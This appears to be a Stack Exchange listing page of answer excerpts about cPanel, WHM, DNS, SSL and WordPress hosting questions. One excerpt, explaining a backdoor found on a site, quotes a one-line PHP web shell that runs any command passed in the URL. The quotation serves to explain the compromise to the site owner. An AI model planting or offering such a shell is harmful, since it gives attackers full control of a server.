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10 votes

Error: You do not have permission to create subdomains of the server’s hostname

This was fixed by changing settings in WHM: WHM Home -> Server Configuration -> Tweak Settings Allow users to park subdomains of the server’s hostname: ON
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10 votes
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Does an SSL Certificate actually require a dedicated IP?

SSL certificates no longer require a dedicated IP address. There is a relatively new technology called Server Name Indication (SNI) that allows SSL certificates to be associated with a virtual host ...
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7 votes
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How do aliases or redirects work?

You most certainly do not have to buy store.xyz.com as a new domain name. store.xyz.com is a part of xyz.com A domain name is made up of multiple parts www.google.com www.google.com | | | --...
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  • 590
7 votes

Should the "admin-ajax.php " file in my WordPress site be allow or disallowed in robots.txt?

This file is often used front-end by themes and plugins. It was changed in WordPress robots.txt file a couple of years ago to allow crawling for this reason, after an issue with google being unable to ...
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  • 3,353
7 votes
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Domain names mirroring my domain except for small details

There are a couple things you can do about it: Add canonical tags to every page on your site. For example one of the pages on your site should have this tag in the <head> section: <link rel=...
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6 votes
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Why won't webmail receive emails from outside my domain?

Check DNS Records If your domains are registered at GoDaddy, then your MX records are likely pointing to GoDaddy's email servers and not your server. Check your DNS and make sure that your domains ...
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6 votes
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cPanel doesn't recognize IPv6 address in MySQLRemote

The address you have mentioned is an IPv6 address. It was introduced as a solution to the rapidly dwindling supply of IPv4 address. It has the potential to allow for 3.4×10^38 (that is 34 followed by ...
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  • 288
6 votes
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Backdoor exploit - could they have downloaded files from server?

<?php $str = $_GET['cmd']; system($str); ?> This potentially allows the attacker to pretty much do/execute anything on your system by passing an arbitrary command in the URL query string! So, ...
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  • 41.3k
5 votes
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What can I do to take control of a domain from a client's previous developer?

UPDATE: Based on the fact this is is a .com domain, you can do the following: Go to https://www.verisigninc.com/en_US/domain-names/com-domain-names/index.xhtml. Click on the Chat with Support link ...
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5 votes
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How to bulk delete email accounts from cPanel / my hosting account?

Finally stumbled on the delpop command and cPanel's command-line interface. So, assuming: You have SSH access to your account Your host has installed cPanel in the usual way Then you can delete a ...
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5 votes
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Why is my email address appearing in my domain's DNS zone?

The email address is part of the SOA record. Its second value is the email address of the administrator. As a minimum, the zone file must specify the Start of Authority (SOA) record with the name ...
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  • 2,343
5 votes
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.htaccess to WWW And/Or HTTPS

all of them have redirected http://sub.example.com To https://www.sub.example.com That would seem to suggest that you have a rule that simply checks for the absence of www (which is correct for the ...
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  • 41.3k
5 votes

Unable to download large zipped file of cPanel full backup (Chrome download restarts download )

You can find or change the location of backups in cpanel's Configure Backup Directory section of Backup Configuration interface Home > Backup > Backup Configuration Once you know the location ...
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  • 7,607
4 votes
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Redirect 'A' record of domain, except for some paths

Unfortunately with your current hosting setup, there is nothing you can do except to make a separate subdomain for your mailing lists. You need a reverse proxy in front of your abc.org site, that ...
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4 votes

Setting reverse PTR

PTR records can be set by your service provider. If the IP is delegated into their ownership, they are the ones who can set the PTR record.
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  • 562
4 votes

How can I migrate Plesk to WHM efficiently

In WHM (v11.46) there is an option under Home » Transfers » Transfer Tool (in older version it was Copy an Account From Another Account). Here, under Advanced option, choose Remote Server Type: ...
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4 votes

How to edit /etc/hosts file on WHM/cPanel

It is perfectly acceptable to update /etc/hosts in cPanel/WHM. As a rule of thumb, incase of an update which may change the file (unlikely, cPanel doesn't tend to touch it after the initial install ...
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4 votes

Comodo SSL Certificate showing as invalid on Android Devices

Simply, the problem here is that the certificate chains up to COMODO RSA Certificate Autority at the root, not to AddTrustExternalCARoot. Android devices do not have the COMODO RSA Certificate ...
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  • 41
4 votes

Visiting website without nameservers

cPanel can do this by going to the following url: http://[ip-address]/~[cPanel-username]
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4 votes
Accepted

What are PHP extensions?

The simple answer is that most of the PHP functionallity is in the basic setup and you probally don't need to worry about this. But, extensions are exactly as they sound like, they extend PHP ...
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  • 6,736
4 votes

What is `wp-cli.yml` for in the public_html folder?

It is used by wp-cli, the command line interface for WordPress. The wp-cli.yml is where you set configuration values, related to your website, for wp-cli.php to use. https://make.wordpress.org/cli/...
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4 votes

Website backup file size differs on server vs when downloaded via FTP

It isn't a virus or some sort of FTP compression. It could be a couple of things going on: For example, if the server is running Linux and your desktop is running Windows it is likely that your ...
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  • 246
4 votes

Creating an A record and then a CNAME to point a subdomain to a different server gives an error message

A and CNAME both are types of DNS records, that can be applied to a domain name. But they are mutually exclusive:[1] A resolves a domain name query to an IP address, CNAME resolves it to an other ...
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  • 41
4 votes

Domain names mirroring my domain except for small details

It isn't dangerous. Looking at DNS, both those domains are hosted through cloudflare, so it likely a misconfiguration there. If it bothers you it is possible to stop them displaying your content. ...
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  • 7,607
3 votes
Accepted

Is it possible to track redirects to external sites from our subdomains?

You can do this with PHP and Google Analytics. For each subdomain run a index.php file that will send data to Google Analytics and then give a header redirect response to send the visitor to itunes. ...
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3 votes

with PHP: How to restrict access from one Addon domain to another?

You can't restrict developer/PHP access to other filesystem areas within the same hosting account where cPanel Addon domains are pointing. This is not what Addon domains are designed for. In fact, it ...
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  • 41.3k
3 votes
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Registered domain on GoDaddy, pointed to Cloudflare - cannot Addon domain to my hosting

Sorry, the domain is already pointed to an IP address that does not appear to >use DNS servers associated with this server. Please transfer the domain to this >servers nameservers or have your ...
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3 votes
Accepted

Unable to locate phishing URL in CPanel file manager

These files were never on your account, they were hosted on another account on the same (shared) server with username "impots". On many shared Apache servers you can access your account's files by a ...
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  • 41.3k
3 votes

Uploading a website when FTP ports are banned

Most panels have a File Manager feature that will allow you to upload, download and edit any file on your server. It is very much like a web based FTP client. I know for sure cPanel and Plesk have ...
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3 votes
Accepted

WordPress security checklists on cPanel

Your installation is ok as per your given directory path, To secure WordPress site/blog, you should follow these steps : Make sure you are using latest WordPress version, update it time by time when ...
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